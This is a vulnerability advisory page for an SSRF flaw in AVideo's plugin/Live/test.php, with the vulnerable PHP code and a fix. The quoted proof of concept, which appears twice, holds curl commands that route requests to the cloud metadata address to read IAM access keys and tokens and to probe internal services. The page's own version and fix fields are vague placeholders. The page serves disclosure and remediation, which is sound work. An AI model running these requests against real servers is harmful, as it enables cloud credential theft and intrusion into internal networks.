GHSA-wxjx-r2j2-96fx: AVideo Full-Read SSRF Through Unvalidated StatsURL Vulnerability

MODERATE
CVSS 4.9
CWE-918
Published
Advisory Summary

GHSA-wxjx-r2j2-96fx is a MODERATE (CVSS 4.9) full-read ssrf through unvalidated statsurl vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting AVideo libraries in the Packagist ecosystem. The issue involves full-read ssrf through unvalidated statsurl parameter in plugin/live/test.php. Remediation is available in the latest vendor maintenance releases.

GHSA-wxjx-r2j2-96fx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wxjx-r2j2-96fx
Severity MODERATE
CVSS v3.1 Base Score 4.9
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 4.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-wxjx-r2j2-96fx

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by GHSA-wxjx-r2j2-96fx, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints. ## Details The vulnerable code path is in `plugin/Live/test.php`: **User input (line 11):** ```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { _log('this is not a URL '); exit; } ``` The regex `/^http/` only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges. **Sink — file_get_contents (line 58-68):** ```php if (ini_get('allow_url_fopen')) { try { $tmp = file_get_contents($url, false, $context); _log('file_get_contents:: '.htmlentities($tmp)); ``` **Sink — curl_exec (line 73-94):** ```php } elseif (function_exists('curl_init')) { $ch = curl_init(); // ... curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); // ... $output = curl_exec($ch); // ... _log('curl_init:: '.htmlentities($output)); ``` **Sink — wget (line 114):** ```php if (wget($url, $filename)) { $result = file_get_contents($filename); _log('wget:: '.htmlentities($result)); ``` All three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160). The codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it. Additionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets. The endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin). ## PoC **Step 1: Authenticate as admin and obtain session cookie** ```bash # Login to obtain PHPSESSID PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \ -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}') ``` **Step 2: Read AWS cloud metadata (IAM credentials)** ```bash curl -b "PHPSESSID=${PHPSESSID}" \ 'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/' ``` Expected output: HTML page containing the full cloud metadata response including IAM role names. **Step 3: Read IAM credentials for a specific role** ```bash curl -b "PHPSESSID=${PHPSESSID}" \ 'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole' ``` Expected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role. **Step 4: Scan internal services** ```bash curl -b "PHPSESSID=${PHPSESSID}" \ 'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/' ``` Expected output: Full response from internal service at 192.168.1.1:8080. ## Impact An authenticated admin can: - **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration. - **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet. - **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content. - **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server's IP address. The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors. ## Recommended Fix Add `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15: ```php $statsURL = $_REQUEST['statsURL']; if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) { _log('this is not a URL '); exit; } // Add SSRF protection if (!isSSRFSafeURL($statsURL)) { _log('URL failed SSRF safety check: ' . htmlentities($statsURL)); exit; } ``` Additionally, enable SSL verification in the curl handler (lines 79-80): ```php // Replace: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); // With: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); ``` And in the stream context (lines 45-49): ```php // Replace: "ssl" => [ "verify_peer" => false, "verify_peer_name" => false, "allow_self_signed" => true, ], // With: "ssl" => [ "verify_peer" => true, "verify_peer_name" => true, "allow_self_signed" => false, ], ```

GHSA-wxjx-r2j2-96fx Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is GHSA-wxjx-r2j2-96fx?
GHSA-wxjx-r2j2-96fx is a security vulnerability in AVideo involving Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php under CWE-918: Server-Side Request Forgery (SSRF).
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes GHSA-wxjx-r2j2-96fx?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-wxjx-r2j2-96fx?
GHSA-wxjx-r2j2-96fx has a CVSS v3.1 base score of 4.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with GHSA-wxjx-r2j2-96fx?
GHSA-wxjx-r2j2-96fx is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for GHSA-wxjx-r2j2-96fx?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wxjx-r2j2-96fx",
  "modified" : "2026-03-25T19:53:55Z",
  "published" : "2026-03-25T19:53:55Z",
  "aliases" : [ ],
  "summary" : "AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php",
  "details" : "## Summary\n\nThe `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.\n\n## Details\n\nThe vulnerable code path is in `plugin/Live/test.php`:\n\n**User input (line 11):**\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    _log('this is not a URL ');\n    exit;\n}\n```\n\nThe regex `/^http/` only verifies the URL starts with \"http\" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.\n\n**Sink — file_get_contents (line 58-68):**\n```php\nif (ini_get('allow_url_fopen')) {\n    try {\n        $tmp = file_get_contents($url, false, $context);\n        _log('file_get_contents:: '.htmlentities($tmp));\n```\n\n**Sink — curl_exec (line 73-94):**\n```php\n} elseif (function_exists('curl_init')) {\n    $ch = curl_init();\n    // ...\n    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\n    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n    // ...\n    $output = curl_exec($ch);\n    // ...\n    _log('curl_init:: '.htmlentities($output));\n```\n\n**Sink — wget (line 114):**\n```php\nif (wget($url, $filename)) {\n    $result = file_get_contents($filename);\n    _log('wget:: '.htmlentities($result));\n```\n\nAll three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160).\n\nThe codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it.\n\nAdditionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.\n\nThe endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).\n\n## PoC\n\n**Step 1: Authenticate as admin and obtain session cookie**\n```bash\n# Login to obtain PHPSESSID\nPHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \\\n  -d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')\n```\n\n**Step 2: Read AWS cloud metadata (IAM credentials)**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'\n```\n\nExpected output: HTML page containing the full cloud metadata response including IAM role names.\n\n**Step 3: Read IAM credentials for a specific role**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'\n```\n\nExpected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role.\n\n**Step 4: Scan internal services**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'\n```\n\nExpected output: Full response from internal service at 192.168.1.1:8080.\n\n## Impact\n\nAn authenticated admin can:\n\n- **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.\n- **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.\n- **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content.\n- **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server's IP address.\n\nThe full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15:\n\n```php\n$statsURL = $_REQUEST['statsURL'];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    _log('this is not a URL ');\n    exit;\n}\n\n// Add SSRF protection\nif (!isSSRFSafeURL($statsURL)) {\n    _log('URL failed SSRF safety check: ' . htmlentities($statsURL));\n    exit;\n}\n```\n\nAdditionally, enable SSL verification in the curl handler (lines 79-80):\n\n```php\n// Replace:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n// With:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);\n```\n\nAnd in the stream context (lines 45-49):\n\n```php\n// Replace:\n\"ssl\" => [\n    \"verify_peer\" => false,\n    \"verify_peer_name\" => false,\n    \"allow_self_signed\" => true,\n],\n// With:\n\"ssl\" => [\n    \"verify_peer\" => true,\n    \"verify_peer_name\" => true,\n    \"allow_self_signed\" => false,\n],\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjx-r2j2-96fx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/c95eafbdfccd5959c546a430c32fb3b6026f39ac"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:53:55Z",
    "nvd_published_at" : null
  }
}